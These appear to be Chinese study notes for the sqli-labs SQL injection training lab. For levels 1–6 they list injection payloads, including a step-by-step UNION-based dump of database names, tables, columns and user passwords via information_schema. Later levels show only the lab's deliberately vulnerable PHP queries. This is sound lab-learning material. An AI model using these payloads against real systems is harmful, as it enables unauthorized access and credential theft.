win10下burpsuite抓包设置

win10下burpsuite抓包设置.md.pdf

sqli-labs闯关游戏

sqli-labs闯关游戏.pdf

本实验环境下的版本

安装最新版的phpstudy会导致很多问题,比如自带的mysql-front会报错
还有就是sqli装好的实验环境有问题
phpStudySetup.zip
sqli.zip

第01关

只有id,没有密码,只要对应上id就可以查看密码。
破解:在不论输入什么id都可以查看密码
方法:构造闭合语句: 1’ or 1=1 — 1 或者 1’ or 1=1 #(会报错,测试可知#号被替换了)
777’ or 1=1 — 6665

  1. $id=$_GET['id'];
  2. "SELECT * FROM users WHERE id='$id' LIMIT 0,1";

第02关

没有引号
破解:同第01关
方法:同第01关
777 or 1=1 — 6665

  1. $id=$_GET['id'];
  2. "SELECT * FROM users WHERE id=$id LIMIT 0,1";

第03关

有括号、有引号
破解:同第01关
方法:同第01关
777’) or 1=1 — 6665

  1. $id=$_GET['id'];
  2. $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

第04关

有括号、有引号
破解:同第01关
方法:同第01关
777”) or 1=1 — 6665

  1. $id=$_GET['id'];
  2. $id = '"' . $id . '"';
  3. $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

php里面 $id = ‘“‘.$id.’”‘; 对传入的id值这样处理是什么意思?
php里面.是用来连接的,你的原句是$id=’ “ ‘.$id.’ “ ‘; 这个意思是把$id变成”$id”。
即:

  1. $sql="SELECT * FROM users WHERE id=("$id") LIMIT 0,1";

第05关

以上5关都是id在数据库里则打印出id对应的账号和密码,这题只打印出“You are in………..”
破解:同第01关
方法:777’ or 1=1 — 6665
继续添加语句查出数据库中的信息:
① 获取当前查询的列数(有了列数,联合查询获取信息更方便) Payload: 1’ or 1=1 union select 1 – 1 (注意,杠杠后面加空格) Payload: 1’ or 1=1 union select 1,2— 1 Payload: 1’ or 1=1 union select 1,2,3— 1 查询到第三条,不报错,所以列数就是 3
为了能查询数据,需要将前表的数据查询结果屏蔽掉,让后表的查询内容显示在界面上,所以 修改 payload: -1’ union select 1,2,3 — 1
② 获取数据库名 Payload: -1’ union select 1,database(),version()— 1
③ 获取表名 前表是 3 列,所以联合查询也是 3 列,使用 mysql 内置数据库 information_schema 获取表名 由于每次只能获取到一条记录的信息所以需要加上limit限定符,一行一行获取,直到第3条记 录时是 users 表. Payload: -1’ union select 1,TABLE_NAME,2 from information_schema.TABLES where TABLE_SCHEMA=’security’ limit 3,1 — 1
④ 获取列名 获取列名和前面的原理一致,不过要注意一下,由于表名 users 太普通太大众化,其他数据库中 也可以存在这个表,所以查询列名时,判断条件既得判断表名还得判断数据库名
Payload: -1’ union select 1,COLUMN_NAME,2 from information_schema.COLUMNS where TABLE_NAME=’users’ and TABLE_SCHEMA=’security’ limit 1,1— 1
image.png
Payload: -1’ union select 1,COLUMN_NAME,2 from information_schema.COLUMNS where TABLE_NAME=’users’ and TABLE_SCHEMA=’security’ limit 2,1— 1
image.png
⑤ 获取表信息 Payload: -1’ union select 1,username,password from security.users limit 0,1— 1
image.png
获取第二条数据,依次类推

  1. $id=$_GET['id'];
  2. "SELECT * FROM users WHERE id='$id' LIMIT 0,1";

第06关

这题只打印出“You are in………..”
破解:同第01关
方法:777” or 1=1 — 6665

  1. $id=$_GET['id'];
  2. $id = '"'.$id.'"';
  3. $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

这两条语句相当于:

  1. $sql="SELECT * FROM users WHERE id="$id" LIMIT 0,1";

第07关

  1. $id=$_GET['id'];
  2. "SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

第08关

  1. $id=$_GET['id'];
  2. "SELECT * FROM users WHERE id='$id' LIMIT 0,1";

第09关

  1. $id=$_GET['id'];
  2. "SELECT * FROM users WHERE id='$id' LIMIT 0,1";

第10关

  1. $id=$_GET['id'];
  2. $id = '"'.$id.'"';
  3. $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

第11关

  1. $uname=$_POST['uname'];
  2. $passwd=$_POST['passwd'];
  3. "SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

第12关

  1. $uname=$_POST['uname'];
  2. $passwd=$_POST['passwd'];
  3. $uname='"'.$uname.'"';
  4. $passwd='"'.$passwd.'"';
  5. "SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

第13关

  1. $uname=$_POST['uname'];
  2. $passwd=$_POST['passwd'];
  3. "SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";

第14关

  1. $uname=$_POST['uname'];
  2. $passwd=$_POST['passwd'];
  3. $uname='"'.$uname.'"';
  4. $passwd='"'.$passwd.'"';
  5. "SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";

第15关

  1. $uname=$_POST['uname'];
  2. $passwd=$_POST['passwd'];
  3. "SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

第16关

  1. $uname=$_POST['uname'];
  2. $passwd=$_POST['passwd'];
  3. $uname='"'.$uname.'"';
  4. $passwd='"'.$passwd.'"';
  5. "SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

第17关

  1. function check_input($value)
  2. {
  3. if(!empty($value))
  4. {
  5. // truncation (see comments)
  6. $value = substr($value,0,15);
  7. }
  8. // Stripslashes if magic quotes enabled
  9. if (get_magic_quotes_gpc())
  10. {
  11. $value = stripslashes($value);
  12. }
  13. // Quote if not a number
  14. if (!ctype_digit($value))
  15. {
  16. $value = "'" . mysql_real_escape_string($value) . "'";
  17. }
  18. else
  19. {
  20. $value = intval($value);
  21. }
  22. return $value;
  23. }
  24. $uname=check_input($_POST['uname']);
  25. $passwd=$_POST['passwd'];
  26. "SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

第18关

第19关

第20关

第21关

第22关